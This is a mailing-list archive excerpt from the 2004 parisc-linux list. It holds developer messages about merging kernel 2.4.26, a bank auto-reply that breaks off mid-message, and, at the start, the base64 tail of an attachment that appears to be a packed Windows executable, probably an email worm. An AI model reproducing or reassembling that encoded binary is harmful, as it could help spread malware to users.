IyA1GENsLA12VytEVkQRTVNpDa3QSmFZu1E3ddpoyW4SIDTz5opPbS3YVxpEOBRM9mmOdd0Y
oG05Y3AwGUdpYXso/MkuNXMFdyJoQCAjwdk0Tv9Bi1UN+yAyMDBkLhLXZqprU3BjCYcuvia2
CTMcgY8gPggHuxD7cHozM0QDDutubb27M2SKeLMxDnCq21ow+XiC3VH4xhKmU0ZDIELGyWLP
CgOlRWTJcKFjhAqjsGE5RemvbWtRY8MtKXIzRRO7ZCOvIEx1aMbLDDSiQkvHWFCxrCZrxEKu
K0xIOWoCQGlU2F6Ultp/I8Boy55Idr9/bjNVIVky3kUtTgPIrQAGwlLQaTHCBx9PE0Fot05Y
Nw9wCcMb6D8hbS4ZOgKwoDNNU2NMRmOmEnkjOlNxMOiZei50HzbbwGgYwvyvM2tclXBtWAC4
z7drh30Muy5qcGdvRBexDJ9rhZZPbFAnYNpG1o5xAEK+YcoWwL7peB1BELiIhWNitrnZtGFL
amMfGzBzk/EqT8HvVEEWGUDsQ5QxNo83sWzCssuhxTHKrmA3iGZiovCoQn0LLev7Co1UDaBr
v2GxgMY78CcgIzXitRIU8/MgL0St1pbedQi831XLRcgaCyZKEMzFKJvwL4IWDWhj1y0Bi9fR
TN0rSmJuyBNsZMQZbCdrLmRgi1CyVmx+hLqNIbbEKEB5Z+4GA8Nj3CkwW0xhP97oJS5Sei34
XU15VS5GF5HoRWrdm9sz8IBJr14CPMILsYggIbhWIHa3WmtnhpdoPhxCAQKSFPC3D4JFPl+T
ZGh0bWdpD+zNngMIB+sXByZHHvlkYnh0YmJhZMhBjjn4F3dhc3A89pjBdWvxB3Zic/cZrItm
bAcAcGwDYgGOWWgzvBfu33P3IgdbXS1AC18tXC/DbTValzIuNHggsjjezbZjKzk1DDgDCwAx
NTFu7FJpOSczNS8zFzc21m0TNzM5LzMfMkTaVnAlEi8QBzUT3LbD3lUxNzEfNC80XzQyhe2c
iyciUDQAD72QDMkzMk529sGbTwNeML83DbDLZs0yNp8PMi/d1t435DIfHU45IjOe29qwN++3
AjJmkfcuZMB/MDLuX92y77nv4yI2D/M3nq67sDAfN9E2DjU1csUp55A/Mvux1vh/J1VEUAAl
cywgJeUGBd5zyW4ndToEFAYDgen10Cu4K0tDdBUosTt2R5ajcF1rowB7XkoJA27NlVoHt3kP
qgcDaQuW7UZlYhNhUzNGG+uJzUTvRFf3dctvCnCubxcvMVFVSVR75W97BwMuBgAtLQgFmX6z
7i10Ig4HQ2/BaDAYtQIt3S0QNUcNGGnCOlHTVKrLGjIiRBIuI8ag3kk6FTuxDw7YIQlPBD0i
Y7D1xA5TWHlfOtN7AF+SL/QuwThItCbzdC0ULTFi7UVmWYw3YnhaQBCs+r9Ud8Oq1ooFyU52
E2rxV2pNSU3n5gZo8bAuj1gtKZLbulqBLVLAV3lTTiG5ARvsbCBYGDMR4IuFzI7Da2ov4tVX
WJJ4dchiwi/cXWdG9y0APV9O5zk4P92FX+AzdQQ0OFguKYLrd3+ZLVbTREEwdG1sMHtEp18A
vxDb3iPYCuNvBsXCXsvn1QmLtdYg1SRsuC9bGOFtNaIXQeVtlIjaPsgGADN4LXrKLctmhq7J
cjbMN99f97kuHAdcA1+fQVRBqFKB21z9Q1BUIFRPTAs+EIu9xRLtTDdST00RtGY4+3xIRUxP
RUgHc+dHWkIGOCouugP0amwTsAhIT8znFjgCrFxDq3KutaOH3bb0bCR0XChcVyoYaA9gUEgr
c4JNBg+zXPBcViE4CMM/XlxFZXCm30S4clxQSU5GV1UrmLU75U9MRZdWv1ILnUQgZFp1FQqN
m1vvx0VUQapvsR4p83N2crd7T0ZUDYJV8ldBUkWFW0W6Ybvfc7BL/y8dEmxB60NMU0lEXHtF
NkZCSwXa1jVFrC1zigcxpe0W/0NGLTlDODctiEFBAzUY94CG/jdFRH1cSW5cYymKDYrFsNkP
YBF26qZt+0lDUSmj8KAGbj/4e1nd2ldrdyhXZ28LRS/UPmpma29AMkB5YeJlD6IAmQA+QEGa
7incAQMWAmmaZrADBwQYBQ2kaZqmBgkHDAiQwQYZCQobCw32vRdXOwcPVxD5gnSDExEDEhch
ZJDBBjUPQUOwwQYbUDNSF1MHwQYbbFdfWXtsFyBN033qIKtwHHKDDfa9xy+As4EHggw2yGAf
g4SPkQ0ySNMpnqGkNtggg2+nt5/OH9DkIAzXCxgHjuw9A3kDlQEo5AGQSSBIABBCBpCJhBCG
QAZkgQEQQAZkQIICqsxNhhC/APs06a4BBy5fwAsXQAbpBh0LBJYGZJBmjQiOj0AGZECQkWlA
BmSSkwOvTZYKBgo3jI7kZeEMowAFkxkCbLqRm9tEaEAYBwnsZ9M0TbMKyBCcEU3TNE1sEkgT
HBiaplk25GYZvBqEaZqmaRtMHCR4smuaphR5BHpH9GVed5bN/Jir/w/4wNh3Yx9DAgTSpA9g
gnmCIa+/nzw7pt8HoaWBn+D8L0B+I4w3z4D8qMGj2qOPBDbI2YH+B0C1L/zfDTJBtl/PouSi
GgDlouiiW7v7fIV+of5RBQPaXtpfjv5Kfl/aatoy09je4Pn7RWEVtH45gyAyCBCVQBTIggqg
AgkUQAUyKIAKZFEAFcghqiiwA0MELJvEGFABFqpmKAC0CYkKXCGxCChqOwFAMw9XRHVmor4a
bPfJdmueB25BJEdTaXoWUc1mbUNyPCIZawTAGAhUPg6wVNUXCFrGSYBvCQCzF0wCOFugo2wl
XwIBfIcOB2NPzBQBsRAeJse2AmBNmWxdTmGeEFWwbWELRGmzm6sAlFR5QZsogNbeY3AJOwu6
wTbXq5dDeZVGMENmiurNWgrgGdtlrVv4cj2/RPF2dZ0pqmVtDlO/aGLBiuqcVyG62YSogxkk
bNZ+b9lvcEIFHkV4KHxDOzbsZGUfeUhhaEQAzKKCjkAwhBcIO2378F7gfC1jazt1XArm7W8N
TENNYXBT1mluZy6zCVXQSiUpRXVHVExBZGSwsR8z+g9PRU1DUAlBBzeLHVoGcwpG1KCqC9lX
D0xN91a4bRNCeYNUb1m2Q2hhmVsrtFtImHBSHUxlDFYHi1QFXQ1SdDi2ufZsVW53P9oHaNdk
RcMQLAAdRzez2XbYMkafZUzqS8aGZwtEZa5veUiIK4cw2JdkKFMKFRyCMA5YhD1LRqTAc1cX
zZJtLhaqYrEMhF3Zm4sFMEEYCBNmbmG5zZaB0ZpLG8mg/PC92YyuuBHSYbrb7NAJcIoQz21t
H0yTogrWQCHLEOHwaAs41tKCsxfsJ74KvFQZyU6q1WUmjhSGkGwSxM5OmqUk2erRAGdm6h7P
tEtlSQ5PawyYXThLG1YtdWUQxgyx970rDJQaRWhjdzuuAN5RiFEAg04CLbWuAgNQdaVzCvhO
sxrrLIdMVyKALuBCLVCztYYltXA5dAoj9kdoX084SWluQBtubp/hQAGpNbUCy7JttgEjQP9z
AgQWECzLsiwTDAk3D7Isy7I0FxUUEVYQLMtvAwvd/4f8P1BFAABMAQQA0kg74AAPAgsBAjgA
VlRHllBOBDsRzJ21yRBxCwIXM/fIbhYHDKABZ00BHks2sLM0EAcGA3xXsRw4aYxlkAEACAUK
e1eAYFIed7aS6y5QM98KkMTmwr7rBEUgLnK6Z3MAQSOKYCcSxLoLaVRAAi4mlHQnLyP8AwE2
J2a6L2b+wC5yc3Jj66AGT5z82dxKG2Zr4ZQBAAAAAAAAABIA/wAAAAAAAAAAAAAAYL4VYEEA
jb7rr/7/V4PN/+sQkJCQkJCQigZGiAdHAdt1B4seg+78Edty7bgBAAAAAdt1B4seg+78EdsR
wAHbc+91CYseg+78Edtz5DHJg+gDcg3B4AiKBkaD8P90dInFAdt1B4seg+78EdsRyQHbdQeL
HoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQv
g/38dg+KAkKIB0dJdffpY////5CLAoPCBIkHg8cEg+kEd/EBz+lM////Xon3uUkBAACKB0cs
6DwBd/eAPwV18osHil8EZsHoCMHAEIbEKfiA6+gB8IkHg8cFidji2Y2+AJABAIsHCcB0RYtf
BI2EMBC1AQAB81CDxwj/lpy1AQCVigdHCMB03In5eQcPtwdHUEe5V0jyrlX/lqC1AQAJwHQH
iQODwwTr2P+WpLUBAGHpx4j+/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIA
AwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAA
AAAAAAAAAAABAAcEAABYAAAA1MABAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA
gAAAAMDDAQAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZQAAAKgAAIAAAAAAAAAAAAAA
AAAAAAEABwQAAMAAAADsxAEAIgAAAAAAAAAAAAAA0JABACgAAAAgAAAAQAAAAAEABAAAAAAA
gAIAAAAAAAAAAAAAAAAAAAAAAADM//8AaFdYAAAAAACAgIAA////AMDAwAD/AAAAAP//AL8A
AAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiESIiIiIiIiIiIiIiIiIiIhNVVVVVVV
VVVVVVUlIiIiI0REREREREREREREUlIiIiNERERERERVVERFVVJSIiIjRIiIiERJmUREmZRS
UiIiI0RERERERJVERElUUlIiIiNEiIiIiERJVVVZVFJSIiIjRERERERERJmZmVRSUiIiI0SI
iIiIiERJVElUUlIiIiNERERERERERJVJVFJSIiIjRIiIiIiIiERJWVRSUiIiI0RERERERERE
RJlUUlIiIiNEiIiIiIiIiERJRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhEUlIi
IiNERERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEIiIi
IkSIiIiIRFJSIiIjRDmSREJERERERERSUiIiI0QyIiIiRIiIiIhEUlIiIiNENEJ3ckRERERE
RFJSIiIjRDIid3JEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNENEJmYkRERERERFJSIiIj
RDRCZmJERERERERSUiIiI0QzMiIiREREREREUlIiIiNERERERERERERERFJSIiIjQkQkQkQk
QkQkQkQyUiIiI0JEJEJEJEJEJEJEMlIiIiIkM0M0M0M0M0M0M0MiIiIiIiIiIiIiIiIiIiIi
IiLgAAAP4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAf4AAAP/////7iTAQAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/
AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AA
APRE95+fcAAA////eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERP
cAAA//////9wAAD//////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAOCU
AQAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADUxQEA
nMUBAAAAAAAAAAAAAAAAAOHFAQCsxQEAAAAAAAAAAAAAAAAA7sUBALTFAQAAAAAAAAAAAAAA
AAD7xQEAvMUBAAAAAAAAAAAAAAAAAAbGAQDExQEAAAAAAAAAAAAAAAAAEsYBAMzFAQAAAAAA
AAAAAAAAAAAAAAAAAAAAABzGAQAqxgEAOsYBAAAAAABIxgEAAAAAAFbGAQAAAAAAaMYBAAAA
AAB0xgEAAAAAAAsAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMyLmRsbABpcGhscGFwaS5k
bGwAVVNFUjMyLmRsbABXSU5JTkVULmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFyeUEAAEdl
dFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ09wZW5LZXlBAAAAR2V0TmV0d29ya1Bh
cmFtcwAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==


------=_NextPart_000_0010_0000483E.00004447--




From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-cvs] linux-2.4 deller
Date: Mon, 19 Apr 2004 08:01:32 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <40711E550000837C@ocpmta2.freegates.net>
References: <20040418172504.99DC9494571@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623387 8463 80.91.229.3 (22 Nov 2014 02:29:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon Apr 19 00:01:37 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 902A14840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 00:01:37 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) id 1BFRqX-0003yI-00
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 08:01:33 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 19 Apr 2004 08:01:32 +0200
In-Reply-To: <20040418172504.99DC9494571@palinux.hppa>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 06:01:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21462

Hello all,

btw 2.4.26 is out :); I already do the merge exercise and boot it with success
on a b2k (32bit up). Would it help that I prepare the patch against upstream
or useless?

Cheers,
    Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.4 deller
Date: Mon, 19 Apr 2004 00:11:20 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20040419061120.GE28684@colo.lackof.org>
References: <20040418172504.99DC9494571@palinux.hppa>
	<40711E550000837C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623388 8465 80.91.229.3 (22 Nov 2014 02:29:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Mon Apr 19 00:11:25 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5711E4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Apr 2004 00:11:25 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 7015C298039; Mon, 19 Apr 2004 00:11:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 10126-07; Mon, 19 Apr 2004 00:11:20 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D55F8298030; Mon, 19 Apr 2004 00:11:20 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40711E550000837C@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 06:11:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21463

On Mon, Apr 19, 2004 at 08:01:32AM +0200, Joel Soete wrote:
> Hello all,
> 
> btw 2.4.26 is out :); I already do the merge exercise and boot it with success
> on a b2k (32bit up). Would it help that I prepare the patch against upstream
> or useless?

You shouldn't need to.

IIRC, willy normally commits the new upstream to a seperate branch and
then updates the main line from that. He's been pretty good about it
and will get to it soon enough.

thanks,
grant


From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Customer Care" <customercare@icicibank.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] <AUTO> {ICICICARE#006-685-325}notice!
Date: Mon, 19 Apr 2004 12:22:20 +0530
Lines: 101
Approved: news@gmane.org
Message-ID: <30547.9948096492$1416623388@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="----_NextPart_88980249_boundary"
X-Trace: ger.gmane.org 1416623388 8469 80.91.229.3 (22 Nov 2014 02:29:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:48 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: customercare@icicibank.com  Mon Apr 19 00:56:58 2004
Return-Path: <customercare@icicibank.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail3.abc.com (unknown [203.101.90.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3084A4840
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Apr 2004 00:56:52 -0600 (MDT)
Original-Received: from masssmtp.icicibank.com ()
	by mail3.abc.com  with ESMTP id i3J6ulE12516
	for <parisc-linux@parisc-linux.org>;
	Mon, 19 Apr 2004 12:26:47 +0530 (IST)
Original-Received: from andtl02 (from [10.16.44.63])
	by masssmtp.icicibank.com  with ESMTP id i3J6q8a2017669
	for <parisc-linux@parisc-linux.org>; Mon, 19 Apr 2004 12:22:15 +0530
X-Mailer: Talisma Mail Version 4.4
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 06:56:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21464

This is a multi-part message in MIME format.

------_NextPart_88980249_boundary
Content-Type: text/plain;
	charset="UTF-8"
Content-Transfer-Encoding: base64

DQoNClRoYW5rIHlvdSBmb3Igd3JpdGluZyB0byB1cy4gV2UgYXNzdXJlIHlvdSB0aGF0IHdlIGFy
ZSB3b3JraW5nIG9uIHlvdXIgcmVxdWVzdCBhbmQgc2hhbGwgcmV2ZXJ0IHdpdGggYW4gYXBwcm9w
cmlhdGUgcmVzcG9uc2Ugc29vbi5NZWFud2hpbGUsIHNob3VsZCB5b3Ugd2FudCB0byBzcGVhayB3
aXRoIHVzLCBwbGVhc2UgZmVlbCBmcmVlIHRvIGNhbGwgb24gb3VyIDI0IGhvdXIgQ3VzdG9tZXIg
Q2FyZSBudW1iZXJzLiBUbyBoZWxwIHVzIHNlcnZlIHlvdSBiZXR0ZXIsIGtpbmRseSBtZW50aW9u
IHlvdXIgY29tcGxldGUgYWNjb3VudCBudW1iZXIgYW5kIGFueSByZWZlcmVuY2UgbnVtYmVyIHlv
dSBtYXkgaGF2ZSB3aXRoIHJlc3BlY3QgdG8geW91ciBxdWVyeSBpbiBhbGwgZnV0dXJlIGNvcnJl
c3BvbmRlbmNlLiANCiBLaW5kbHkgdmlzaXQgb3VyIHdlYnNpdGUgd3d3LmljaWNpYmFuay5jb20g
Zm9yIGNvbXByZWhlbnNpdmUgaW5mb3JtYXRpb24gb24gb3VyIHByb2R1Y3RzIGFuZCBzZXJ2aWNl
cy4gIFdpdGggcmVnYXJkcywNCg0KQ3VzdG9tZXIgQ2FyZSBJQ0lDSSBCYW5rIExpbWl0ZWQNCg0K
VGhpcyBjb21tdW5pY2F0aW9uIGJlaW5nIHNlbnQgYnkgSUNJQ0kgQmFuayBMdGQuIGlzIHByaXZp
bGVnZWQgYW5kIGNvbmZpZGVudGlhbCwgYW5kIGlzIGRpcmVjdGVkIHRvIGFuZCBmb3IgdGhlIHVz
ZSBvZiB0aGUgYWRkcmVzc2VlIG9ubHkuIElmIHRoaXMgbWVzc2FnZSByZWFjaGVzIGFueW9uZSBv
dGhlciB0aGFuIHRoZSBpbnRlbmRlZCByZWNpcGllbnQsIHdlIHJlcXVlc3QgdGhlIHJlYWRlciBu
b3QgdG8gcmVwcm9kdWNlLCBjb3B5LCBkaXNzZW1pbmF0ZSBvciBpbiBhbnkgbWFubmVyIGRpc3Ry
aWJ1dGUgaXQuIFdlIGZ1cnRoZXIgcmVxdWVzdCBzdWNoIHJlY2lwaWVudCB0byBub3RpZnkgdXMg
aW1tZWRpYXRlbHkgYnkgcmV0dXJuIGVtYWlsIGFuZCBkZWxldGUgdGhlIG9yaWdpbmFsIG1lc3Nh
Z2UuIElDSUNJIEJhbmsgTHRkLiBkb2VzIG5vdCBndWFyYW50ZWUgdGhlIHNlY3VyaXR5IG9mIGFu
eSBpbmZvcm1hdGlvbiB0cmFuc21pdHRlZCBlbGVjdHJvbmljYWxseSBhbmQgaXMgbm90IGxpYWJs
ZSBmb3IgdGhlIHByb3BlciwgdGltZWx5IGFuZCBjb21wbGV0ZSB0cmFuc21pc3Npb24gdGhlcmVv
Zi4gQmVmb3JlIG9wZW5pbmcgYW55IGF0dGFjaG1lbnRzIHBsZWFzZSBjaGVjayB0aGVtIGZvciB2
aXJ1c2VzIGFuZCBkZWZlY3RzLg0KDQogDQoNCg==
------_NextPart_88980249_boundary
Content-Type: text/HTML;
	charset="UTF-8"
Content-Transfer-Encoding: base64

PEhUTUw+PEhFQUQ+PE1FVEEgTkFNRT0iR0VORVJBVE9SIiBDb250ZW50PSJNaWNyb3NvZnQgREhU
TUwgRWRpdGluZyBDb250cm9sIj48VElUTEU+PC9USVRMRT48L0hFQUQ+PEJPRFk+PEZPTlQgc2l6
ZT0zPjxQPjxTUEFOIHN0eWxlPSJGT05ULVNJWkU6IDExcHQ7IENPTE9SOiBibGFjazsgRk9OVC1G
QU1JTFk6ICdadXJpY2ggQlQnOyBtc28tYmlkaS1mb250LXNpemU6IDEwLjBwdDsgbXNvLWJpZGkt
Zm9udC1mYW1pbHk6IEFyaWFsIj5UaGFuayB5b3UgZm9yIHdyaXRpbmcmbmJzcDt0byB1cy4gV2Um
bmJzcDthc3N1cmUmbmJzcDt5b3UgdGhhdCB3ZSZuYnNwO2FyZSB3b3JraW5nIG9uIHlvdXImbmJz
cDtyZXF1ZXN0IGFuZCBzaGFsbCZuYnNwO3JldmVydCZuYnNwO3dpdGggYW4gYXBwcm9wcmlhdGUg
cmVzcG9uc2Ugc29vbi48P3htbDpuYW1lc3BhY2UgcHJlZml4ID0gbyBucyA9ICJ1cm46c2NoZW1h
cy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2UiIC8+PG86cD48L286cD48L1NQQU4+PC9QPjxQ
IGNsYXNzPU1zb05vcm1hbCBzdHlsZT0iTUFSR0lOOiAwaW4gMGluIDBwdCI+PFNQQU4gc3R5bGU9
IkNPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IEFyaWFsIj48Rk9OVCBmYWNlPSJa
dXJpY2ggQlQiPk1lYW53aGlsZSwgc2hvdWxkIHlvdSB3YW50IHRvIHNwZWFrIHdpdGgmbmJzcDt1
cywmbmJzcDtwbGVhc2UgZmVlbCBmcmVlIHRvIGNhbGwgb24gb3VyJm5ic3A7PEk+PEEgaHJlZj0i
aHR0cDovL3d3dy5pY2ljaWJhbmsuY29tL3Bmc3VzZXIvY3VzdG9tZXIvY3VzY2FyZW5vcy5odG0i
PjI0IGhvdXIgQ3VzdG9tZXIgQ2FyZSBudW1iZXJzPC9BPjwvST4uPG86cD48L286cD48L0ZPTlQ+
PC9TUEFOPjwvUD48UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGluIDBpbiAwcHQi
PjxTUEFOIHN0eWxlPSJDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBBcmlhbCI+
PEZPTlQgZmFjZT0iWnVyaWNoIEJUIj4mbmJzcDs8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9Q
PjxQIGNsYXNzPU1zb0JvZHlUZXh0MiBzdHlsZT0iTUFSR0lOOiAwaW4gMGluIDBwdCI+PEZPTlQg
